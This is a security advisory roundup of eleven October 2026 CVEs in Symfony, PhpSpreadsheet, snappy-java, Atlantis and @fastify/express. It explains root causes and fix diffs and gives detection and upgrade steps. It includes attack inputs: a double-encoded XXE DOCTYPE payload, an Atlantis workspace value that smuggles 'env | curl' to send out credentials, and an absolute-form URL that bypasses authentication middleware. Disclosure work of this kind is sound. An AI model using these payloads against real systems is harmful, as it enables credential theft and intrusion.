critical

CVE

CVE-2026-112362, CVE-2026-116676, CVE-2026-109413, CVE-2026-108082, CVE-2026-108357, CVE-2026-108358, CVE-2026-108359, CVE-2026-108360, CVE-2026-93451, CVE-2026-108106, CVE-2026-116590

CWE

CWE-78, CWE-611, CWE-122, CWE-787, CWE-863, CWE-1333, CWE-674, CWE-918

Affected Surface

  • Packagist `symfony/symfony`, `symfony/yaml` (`< 5.4.54`, `< 6.4.45`, `< 7.4.18`, `< 8.1.6` for `CVE-2026-109413`), and `symfony/http-foundation` (`< 5.4.54`, `< 6.4.48`, `< 7.4.21`, `< 8.1.9` for `CVE-2026-108082`)
  • Packagist `phpoffice/phpspreadsheet` versions `< 1.30.7`, `>= 2.0.0, < 2.1.19`, `>= 2.2.0, < 2.4.8`, `>= 3.3.0, < 3.10.8`, and `>= 4.0.0, < 5.10.0` (`CVE-2026-108357`, `CVE-2026-108358`, `CVE-2026-108359`, `CVE-2026-108360`)
  • Maven Central `org.xerial.snappy:snappy-java` versions `< 1.1.10.9` (`CVE-2026-93451`, `CVE-2026-108106`, `CVE-2026-116590`)
  • Go / GitHub `github.com/runatlantis/atlantis` versions `>= 0.4.0, < 0.47.1` (`CVE-2026-116676` / `GHSA-rjh2-4xgw-p2hj`, CVSS 8.8 High)
  • npm `@fastify/express` versions `>= 4.0.5, <= 4.0.8` when Fastify is configured with `ignoreDuplicateSlashes: true` (`CVE-2026-112362` / `GHSA-6h42-57hq-9746`, CVSS 9.1 Critical)

TL;DR

On 27 October 2026, 11 vulnerabilities were disclosed across five backend, data-processing, and CI/CD packages in Packagist, Maven Central, Go, and npm:

  1. Symfony (CVE-2026-109413 / GHSA-2v3c-qxhr-7vpv and CVE-2026-108082 / GHSA-r925-mgvr-h9cc, both High):
    • CVE-2026-109413 (symfony/yaml): Yaml\Parser::lexInlineStructure() recursed through lexInlineMapping() and lexInlineSequence() for every { and [ before Inline::parse() ever entered ParserState’s maxNestingLevel check. A single ~70 KB payload of nested [ brackets exhausted a 128 MB stack/memory limit and crashed the PHP worker, including on unauthenticated endpoints using #[MapRequestPayload] without a restricted acceptFormat.
    • CVE-2026-108082 (symfony/http-foundation): HeaderUtils::split() matched header tokens with [^"...]+ (which also matched spaces) followed by a (?<!\s) lookbehind. Because HeaderBag calls HeaderUtils::split() on the incoming Cache-Control header whenever a Request is constructed, a single unauthenticated HTTP request with 17 spaces before a comma burned ~813 ms of CPU, and 18+ spaces hit pcre.backtrack_limit, causing split() to return [] and silently drop every Cache-Control directive. Note that the initial fix in 6.4.46, 7.4.19, and 8.1.7 broke splitting on whitespace separators (HeaderUtils::split('foo bar', ' ')), so teams should upgrade directly to 5.4.54, 6.4.48, 7.4.21, or 8.1.9.
  2. PHPOffice PhpSpreadsheet (CVE-2026-108357, CVE-2026-108358, CVE-2026-108359, and CVE-2026-108360, fixed in 5.10.0, 3.10.8, 2.4.8, 2.1.19, and 1.30.7):
    • CVE-2026-108357 (GHSA-rxj4-h86g-25gc, High) and CVE-2026-108358 (GHSA-3x94-m842-937c, High): Two distinct bypasses of XmlScanner::scan() enabling XML entity expansion (DoS on all PHP versions; XXE/SSRF when LIBXML_NOENT is active or on older PHP). In Reader\Xml, scan() ran twice and executed the unentity() (html_entity_decode()) callback after the <!DOCTYPE regex check on each pass, so double-encoding < as &#38;#60;!DOCTYPE became &#60;!DOCTYPE after pass 1 and <!DOCTYPE after pass 2 (CVE-2026-108357). In Reader\Xlsx, XmlScanner stripped a UTF-8 BOM without verifying that the XML declaration also declared encoding="UTF-8", allowing an attacker to declare encoding="ISO-2022-JP" and interleave 0x1B escape sequences (<!DOCTYPE broken up by ESC bytes) that bypassed XmlScanner’s \0*-only regex before libxml stripped the escape sequences during charset conversion (CVE-2026-108358).
    • CVE-2026-108359 (GHSA-j2w7-387v-m2rq, High) and CVE-2026-108360 (GHSA-2phh-27fw-q4gc, Medium): Reader\Ods cast table:number-rows-repeated and table:number-columns-repeated to (int) without an upper bound, letting a 1.4 KB .ods file materialize millions of cells and crash the PHP process with an OOM error; and Worksheet\Drawing::setPath() checked the isWhitelisted callback on the initial external image URL but left follow_location => 1 on file_get_contents(), allowing an HTTP 302 redirect to an internal SSRF target.
  3. xerial snappy-java < 1.1.10.9 (CVE-2026-93451, CVSS 7.5 High; CVE-2026-108106, CVSS 7.5 High; and CVE-2026-116590, CVSS 5.9 Medium):
    • CVE-2026-93451 (GHSA-gwq9-9ffj-mvrv): Snappy.uncompressIntArray(), uncompressLongArray(), uncompressDoubleArray(), and sibling typed-array methods allocated the Java output array as uncompressedByteLength / elementSize (truncating any remainder), and then passed the unaligned byte length to the native JNI decompressor, writing up to 7 bytes past the end of the Java heap array.
    • CVE-2026-108106 (GHSA-q233-g92q-qxp6) and CVE-2026-116590 (GHSA-xqrx-qh46-34m7): Snappy.uncompressedLength() trusted the varint header at the start of a compressed buffer without checking whether a Snappy stream of the input’s compressed size could ever expand to that length (at most $\frac643\times$ per pass), letting a few bytes trigger a 2 GB allocation or NegativeArraySizeException; and Snappy.arrayCopy() passed caller offsets and lengths to native memcpy without bounds checks.
  4. Atlantis < 0.47.1 (CVE-2026-116676 / GHSA-rjh2-4xgw-p2hj, CVSS 8.8 High) and @fastify/express 4.0.5..4.0.8 (CVE-2026-112362 / GHSA-6h42-57hq-9746, CVSS 9.1 Critical):
    • CVE-2026-116676: When running Terraform commands on a pull request, Atlantis took the workspace field from repo-level atlantis.yaml, joined the command arguments with strings.Join(args, " "), and executed them via exec.Command("sh", "-c", ...). Because raw.Project.Validate() only rejected .., /, and \, a contributor opening an eligible PR could put shell metacharacters inside workspace in atlantis.yaml to execute arbitrary commands as the Atlantis service account during plan.
    • CVE-2026-112362: When Fastify ran with the non-default ignoreDuplicateSlashes: true option, @fastify/express 4.0.5 through 4.0.8 normalized duplicate slashes on an HTTP/1.1 absolute-form request target (GET http://host/admin HTTP/1.1 $\rightarrow$ http:/host/admin) before matching path-scoped Express middleware (app.use('/admin', authMiddleware)), causing Express to skip the auth middleware while Fastify’s router still routed the request to /admin.

Affected packages and projects

EcosystemPackageCVE / AdvisorySeverityAffected versionsFixed versionVulnerable component
npm@fastify/expressCVE-2026-112362 (GHSA-6h42-57hq-9746)CVSS 9.1 Critical>= 4.0.5, <= 4.0.8 (with ignoreDuplicateSlashes: true)4.0.9Path-scoped Express middleware URL normalization on absolute-form targets
Go / GitHubgithub.com/runatlantis/atlantisCVE-2026-116676 (GHSA-rjh2-4xgw-p2hj)CVSS 8.8 High>= 0.4.0, < 0.47.10.47.1server/core/config/raw/project.go, server/core/runtime/models/exec.go (sh -c)
Packagistsymfony/symfony, symfony/yamlCVE-2026-109413 (GHSA-2v3c-qxhr-7vpv)High< 5.4.54, 6.x < 6.4.45, 7.x < 7.4.18, 8.x < 8.1.65.4.54, 6.4.45, 7.4.18, 8.1.6src/Symfony/Component/Yaml/Parser.php (lexInlineStructure)
Packagistsymfony/symfony, symfony/http-foundationCVE-2026-108082 (GHSA-r925-mgvr-h9cc)High< 5.4.54, 6.x < 6.4.46 (6.4.48 for space fix), 7.x < 7.4.19 (7.4.21), 8.x < 8.1.7 (8.1.9)5.4.54, 6.4.48, 7.4.21, 8.1.9src/Symfony/Component/HttpFoundation/HeaderUtils.php (HeaderUtils::split)
Packagistphpoffice/phpspreadsheetCVE-2026-108357 (GHSA-rxj4-h86g-25gc)High3.3.0..3.10.7, 4.0.0..5.9.03.10.8, 5.10.0src/PhpSpreadsheet/Reader/Xml.php (Xml::unentity double-decode TOCTOU)
Packagistphpoffice/phpspreadsheetCVE-2026-108358 (GHSA-3x94-m842-937c), CVE-2026-108359 (GHSA-j2w7-387v-m2rq), CVE-2026-108360 (GHSA-2phh-27fw-q4gc)High / Medium< 1.30.7, 2.0..2.1.18, 2.2..2.4.7, 3.3..3.10.7, 4.0..5.9.01.30.7, 2.1.19, 2.4.8, 3.10.8, 5.10.0XmlScanner::toUtf8, Reader\Ods (checkRowsRepeated), Worksheet\Drawing::setPath
Mavenorg.xerial.snappy:snappy-javaCVE-2026-93451 (GHSA-gwq9-9ffj-mvrv), CVE-2026-108106 (GHSA-q233-g92q-qxp6), CVE-2026-116590 (GHSA-xqrx-qh46-34m7)CVSS 7.5 High / 5.9 Medium< 1.1.10.91.1.10.9src/main/java/org/xerial/snappy/Snappy.java (uncompress*Array, uncompressedLength, arrayCopy)

Technical analysis

1. Symfony CVE-2026-109413 (Yaml\Parser) and CVE-2026-108082 (HeaderUtils::split)

In Symfony\Component\Yaml\Parser, block-level sequences and mappings called $state->enterNestingLevel() to enforce Parser::DEFAULT_MAX_NESTING_LEVEL (128), and Inline::parse() enforced the same limit after lexing finished. However, Parser::lexInlineStructure() self-recursed on every nested [ or { before handing the token string to Inline::parse(). Commit 2a8bf9c58d wraps doLexInlineStructure() in $state->enterNestingLevel() / leaveNestingLevel():

--- a/src/Symfony/Component/Yaml/Parser.php
+++ b/src/Symfony/Component/Yaml/Parser.php
@@ -1274,6 +1274,18 @@ private function lexInlineSequence(int &$cursor = 0): string
     private function lexInlineStructure(int &$cursor, string $closingTag): string
+    {
+        $state = $this->getState();
+        $state->enterNestingLevel($this->getRealCurrentLineNb() + 1, $this->currentLine, $this->filename);
+
+        try {
+            return $this->doLexInlineStructure($cursor, $closingTag);
+        } finally {
+            $state->leaveNestingLevel();
+        }
+    }

In Symfony\Component\HttpFoundation\HeaderUtils::split() (CVE-2026-108082), the regex used to split comma/semicolon-separated HTTP headers (invoked automatically by HeaderBag on Cache-Control whenever a Request is created) allowed its # token branch ([^"'.$quotedSeparators.']+) to consume whitespace inside an outer (...)+ loop terminated by (?<!\s). When a Cache-Control header contained a run of $N$ spaces followed by a separator that failed to match the tail, PCRE backtracked across $2^N$ partitions of the whitespace run. Commits 343a1772ce and 9ffa802e5d make the quantifiers possessive (++) and match non-separator whitespace ([^\S'.$quotedSeparators.']++) only when followed by more token characters ((?!['.$quotedSeparators.']|$)).

2. PhpSpreadsheet 5.10.0 / 3.10.8: XmlScanner TOCTOU (CVE-2026-108357) and ISO-2022 BOM mismatch (CVE-2026-108358)

PhpSpreadsheet’s XmlScanner::scan() blocks XML External Entity (XXE) and quadratic entity-expansion (<!ENTITY) payloads before passing XML strings to simplexml_load_string() or XMLReader. Two advisories published on 27 October showed how crafted spreadsheets slipped <!DOCTYPE past XmlScanner::scan():

  1. Double-encoded numeric entity TOCTOU in Reader\Xml (CVE-2026-108357): When loading a SpreadsheetML .xml file, Reader\Xml registered Xml::unentity() as a scanner callback and invoked XmlScanner::scan() twice. Inside scan(), the regex check for <!DOCTYPE ran before invoking the unentity() callback. Previously, Xml::unentity() protected named XML entities (&(amp|lt|gt|quot|apos);) and ran html_entity_decode() on everything else, including numeric entities (&#38; $\rightarrow$ & and &#60; $\rightarrow$ <):
    <?xml version="1.0"?>
    <?mso-application progid="Excel.Sheet"?>
    &#38;#60;!DOCTYPE Workbook [
        &#38;#60;!ENTITY big "AAAAA...">
    ]>
    On scan 1, the raw string contained &#38;#60;!DOCTYPE, which passed the <!DOCTYPE regex check; then unentity() decoded &#38; into &, producing &#60;!DOCTYPE. On scan 2, &#60;!DOCTYPE again passed the regex check at the top of scan(), and unentity() at the bottom of scan 2 decoded &#60; into <, handing a live <!DOCTYPE Workbook [ <!ENTITY ...> ]> declaration directly to simplexml_load_string().
  2. UTF-8 BOM + ISO-2022-JP escape interleaving in Reader\Xlsx (CVE-2026-108358): In XmlScanner::toUtf8(), if an XML entry inside an .xlsx archive started with a 3-byte UTF-8 BOM (\xEF\xBB\xBF), toUtf8() stripped the BOM and assumed the payload was UTF-8 without checking the encoding="..." attribute in the XML prolog. By starting the file with a UTF-8 BOM, declaring <?xml version="1.0" encoding="ISO-2022-JP"?>, and inserting ISO-2022 escape sequences (0x1B 0x28 0x42) between the letters of <!DOCTYPE, the payload bypassed XmlScanner’s /\0*<\0*!\0*D\0*O\0*C\0*T\0*Y\0*P\0*E\0*/ regex, after which libxml honored encoding="ISO-2022-JP", consumed the 0x1B escape sequences, and parsed the <!DOCTYPE entity definitions.

Commit 89f455c133 fixes both bypasses:

--- a/src/PhpSpreadsheet/Reader/Security/XmlScanner.php
+++ b/src/PhpSpreadsheet/Reader/Security/XmlScanner.php
@@ -56,6 +56,11 @@ private function toUtf8(string $xml): string
         if (substr($xml, 0, Reader\Csv::UTF8_BOM_LEN) === Reader\Csv::UTF8_BOM) {
+            if (preg_match(self::ENCODING_PATTERN, $xml, $matches) === 1) {
+                if (strtolower($matches[2]) !== 'utf-8') {
+                    throw new Reader\Exception("BOM says UTF-8 but encoding says {$matches[2]}");
+                }
+            }
             $xml = substr($xml, Reader\Csv::UTF8_BOM_LEN);
         }
--- a/src/PhpSpreadsheet/Reader/Xml.php
+++ b/src/PhpSpreadsheet/Reader/Xml.php
@@ -53,9 +54,14 @@ public static function unentity(string $contents): string
-        $contents = preg_replace('/&(amp|lt|gt|quot|apos);/', "\u{fffe}\u{feff}\$1;", trim($contents)) ?? $contents;
+        $contents = str_replace("\u{fffe}", "\u{fffd}", $contents);
+        // use positive lookahead to "protect" valid xml entities
+        $contents = Preg::replace('/&(?=(?:amp|lt|gt|quot|apos|#[0-9]+|#x[0-9a-fA-F]+);)/', "\u{fffe}", trim($contents));
         $contents = html_entity_decode($contents, ENT_NOQUOTES | ENT_SUBSTITUTE | ENT_HTML401, 'UTF-8');
-        $contents = str_replace("\u{fffe}\u{feff}", '&', $contents);
+        $contents = str_replace(['&', "\u{fffe}"], ['&amp;', '&'], $contents);

In the same release (5.10.0 / 3.10.8 / 2.4.8 / 2.1.19 / 1.30.7), commit 2de29384aa bounds table:number-rows-repeated (<= 1,048,576) and table:number-columns-repeated (<= 16,384) in Reader\Ods (CVE-2026-108359), and commit 94590951d7 adds 'follow_location' => 0 to the HTTP stream context in Worksheet\Drawing::setPath() (CVE-2026-108360).

3. snappy-java 1.1.10.9: JNI typed-array heap overflow (CVE-2026-93451) and length validation (CVE-2026-108106, CVE-2026-116590)

In org.xerial.snappy:snappy-java before 1.1.10.9, Snappy.uncompressCharArray(), uncompressShortArray(), uncompressIntArray(), uncompressLongArray(), uncompressFloatArray(), and uncompressDoubleArray() read the uncompressed byte length dlen from the Snappy header, allocated a Java primitive array of dlen / elementSize elements (for example new long[dlen / 8]), and then called impl.rawUncompress(), which wrote all dlen bytes into the array via JNI pointers. Whenever dlen was not a multiple of the element size (for example dlen = 15 on uncompressLongArray(), which allocated new long[1] = 8 bytes), the C++ decompressor wrote up to 7 bytes past the end of the Java heap array.

Commits 943c6043a2 (PR #739) and 2d7ca71c08 (PR #741) in snappy-java 1.1.10.9:

  • Throw SnappyIOException in uncompress*Array if dlen % elementByteSize != 0 (CVE-2026-93451).
  • Bound Snappy.uncompressedLength() against the theoretical maximum Snappy expansion ratio of $\frac643\times$ the compressed input size so a tiny header cannot trigger a 2 GB allocation (CVE-2026-108106).
  • Validate src and dest offsets and byte lengths in Snappy.arrayCopy(), SnappyInputStream, and SnappyOutputStream before calling native memcpy (CVE-2026-116590), and replace recursive skippable-chunk handling in SnappyFramedInputStream.ensureBuffer() with an iterative while (true) loop.

4. Atlantis 0.47.1 (CVE-2026-116676) and @fastify/express 4.0.9 (CVE-2026-112362)

  • Atlantis workspace shell injection (CVE-2026-116676, CVSS 8.8 High): In runatlantis/atlantis 0.4.0 through 0.47.0, raw.Project.Validate() in server/core/config/raw/project.go only checked strings.Contains(ws, "..") || strings.ContainsAny(ws, "/\\") on the workspace name in repo-level atlantis.yaml, and LocalExec.CombinedOutput() in server/core/runtime/models/exec.go executed built commands via exec.Command("sh", "-c", strings.Join(args, " ")). An attacker opening an eligible pull request could set workspace: "default; env | curl ..." in atlantis.yaml to run arbitrary shell commands with the Atlantis server’s cloud and VCS credentials during atlantis plan. Commits 8dd22b4d0a and f04df0d53f (v0.47.1) introduce NewArgvCommandRunner() (exec.Command(argv[0], argv[1:]...) without sh -c), restrict environment-variable expansion to operator-configured extra_args (ExpandableArgs), and enforce valid.ValidateWorkspaceName() across atlantis.yaml, HCL workspaces, API requests, and PR comments.
  • @fastify/express absolute-form URI middleware bypass (CVE-2026-112362, CVSS 9.1 Critical): In @fastify/express 4.0.5 through 4.0.8, when Fastify was initialized with the non-default ignoreDuplicateSlashes: true router option, duplicate-slash normalization collapsed the :// in an HTTP/1.1 absolute-form request target (GET http://example.com/admin HTTP/1.1) before Express matched path-scoped middleware (use('/admin', ...)). Express saw a path that did not start with /admin and skipped the authentication or rate-limiting middleware, while Fastify’s router resolved the request to /admin and executed the protected route handler. Fixed in @fastify/express 4.0.9.

Detection and remediation

# 1. Check PHP Composer lockfiles for vulnerable Symfony and PhpSpreadsheet versions
rg -n -A 3 '"name":\s*"(symfony/(symfony|yaml|http-foundation)|phpoffice/phpspreadsheet)"' composer.lock 2>/dev/null

# 2. Check Java Maven/Gradle files for org.xerial.snappy:snappy-java < 1.1.10.9
rg -n 'snappy-java' pom.xml build.gradle* gradle/libs.versions.toml 2>/dev/null

# 3. Check Go manifests / container images for Atlantis < 0.47.1 and npm lockfiles for @fastify/express
rg -n 'runatlantis/atlantis' go.mod Dockerfile* *.y*ml 2>/dev/null
rg -n '"@fastify/express"' package.json package-lock.json pnpm-lock.yaml yarn.lock 2>/dev/null
  1. Upgrade Symfony and PhpSpreadsheet: Upgrade symfony/symfony, symfony/yaml, and symfony/http-foundation to 5.4.54, 6.4.48, 7.4.21, or 8.1.9, and upgrade phpoffice/phpspreadsheet to 5.10.0, 3.10.8, 2.4.8, 2.1.19, or 1.30.7.
  2. Upgrade snappy-java, Atlantis, and @fastify/express: Bump org.xerial.snappy:snappy-java to 1.1.10.9 (including where pulled transitively by Kafka, Spark, Parquet, or Hadoop), upgrade Atlantis deployments to v0.47.1, and upgrade @fastify/express to 4.0.9 (or move authentication checks into a Fastify preHandler hook).

Timeline

  • 2026-10-23 to 2026-10-26: Maintainers tag patched releases across xerial/snappy-java (v1.1.10.9), PHPOffice/PhpSpreadsheet (5.10.0, 3.10.8, 2.4.8, 2.1.19, 1.30.7), symfony/symfony (v5.4.54, v6.4.48, v7.4.21, v8.1.9), runatlantis/atlantis (v0.47.1), and @fastify/express (4.0.9).
  • 2026-10-27 (12:17 to 19:01 UTC): NVD and the GitHub Advisory Database publish CVE-2026-112362 (@fastify/express), CVE-2026-109413 and CVE-2026-108082 (Symfony), CVE-2026-108357..108360 (PhpSpreadsheet), CVE-2026-93451 / CVE-2026-108106 / CVE-2026-116590 (snappy-java), and CVE-2026-116676 (Atlantis).

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References